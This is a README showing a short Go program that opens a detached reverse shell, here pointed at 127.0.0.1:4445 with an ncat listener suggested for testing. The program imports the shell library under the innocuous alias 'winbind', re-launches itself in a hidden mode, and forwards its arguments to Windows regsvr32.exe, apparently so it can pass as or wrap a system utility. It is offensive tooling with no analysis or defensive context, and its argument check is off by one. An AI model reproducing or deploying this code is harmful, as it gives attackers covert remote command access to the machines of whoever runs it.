README.md
Rendering markdown...
package main
import (
"fmt"
"log"
"os"
"os/exec"
"strconv"
winbind "github.com/Vr00mm/sysproc/reverse_shell"
)
func runDetachedShell(args []string) {
if len(args) < 3 {
log.Printf("Invalid arguments for detached shell: %v", args)
return
}
host := args[2]
port, err := strconv.Atoi(args[3])
if err != nil {
log.Printf("Invalid port: %s", args[3])
return
}
winbind.ExecuteDetachedShell(host, port)
}
func executeAndWait(cmdArgs []string) {
log.Printf("Executing and waiting: %v", cmdArgs)
cmd := exec.Command(cmdArgs[0], cmdArgs[1:]...)
err := cmd.Run()
if err != nil {
log.Printf("ERROR: Command execution failed: %v", err)
} else {
log.Printf("Command executed successfully")
}
}
func main() {
// Check if we're being run as a detached shell process
if len(os.Args) > 1 && os.Args[1] == "DETACHED_SHELL" {
runDetachedShell(os.Args)
return
}
fmt.Println("Creating detached reverse shell...")
fmt.Println("Host: 127.0.0.1")
fmt.Println("Port: 4445")
fmt.Println()
err := winbind.CreateReverseShell("127.0.0.1", 4445)
if err != nil {
log.Printf("Failed to start detached reverse shell: %v", err)
} else {
fmt.Println("SUCCESS: Detached reverse shell process started!")
fmt.Println("To test: Run 'ncat -tnlp 4445' in another terminal")
fmt.Println("Check Task Manager - you should see a separate instance of this app running")
}
if len(os.Args) > 1 {
log.Printf("Executing regsvr32 with args: %v", os.Args[1:])
executeAndWait(append([]string{"C:\\Windows\\System32\\regsvr32.exe"}, os.Args[1:]...))
}
}